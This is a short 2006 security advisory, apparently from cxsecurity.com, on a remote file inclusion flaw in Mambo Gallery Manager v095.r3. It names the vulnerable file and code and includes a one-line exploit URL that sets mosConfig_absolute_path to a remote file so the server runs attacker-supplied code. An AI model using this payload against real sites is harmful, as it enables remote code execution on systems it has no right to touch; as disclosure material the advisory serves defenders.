Mambo Gallery Manager v095.r3 Remote File Inclusion Vulnerabilities

2006.08.07
Credit: A-S-T TEAM
Risk: High
Local: No
Remote: Yes
CWE: CWE-94


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

---------------------------------------------------- Mambo Gallery Manager v095.r3 Remote File Inclusion Vulnerabilities ---------------------------------------------------- Discovered By A-S-T TEAM WE ARE CrAsH_oVeR_rIdE & BLACK-CODE & MR-HCR ---------------------------------------------------- site of script:http://mamboxchange.com/frs/?group_id=175&release_id=1289 ---------------------------------------------------- Vulnerable: Mambo Gallery Manager v095.r3(mgm) ---------------------------------------------------- vulnerable file : ------------------ help.mgm.php ---------------------------------------------------- vulnerable code: ---------------------------------------------------- require $mosConfig_absolute_path . "/administrator/components/com_mgm/diagnostics.mgm.php"; $mosConfig_absolute_path File inclusion ---------------------------------------------------- Exploit: http://www.example.com/administrator/components/com_mgm/help.mgm.php?mos Config_absolute_path=http://evalcode.txt ------------------------------------------------------------------------ ---------------------------- Discovered By A-S-T TEAM Site:www.lezr.com Greetz:KING-HACKER,YOUNG_HACKER,SIMO64,ROOT-HACKED,SAUDI,QPTAN,POWERWALL ,SNIPER_SA,ALMOKAN3,Broken-proxy ,troq AND ALL LEZR.COM Member


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top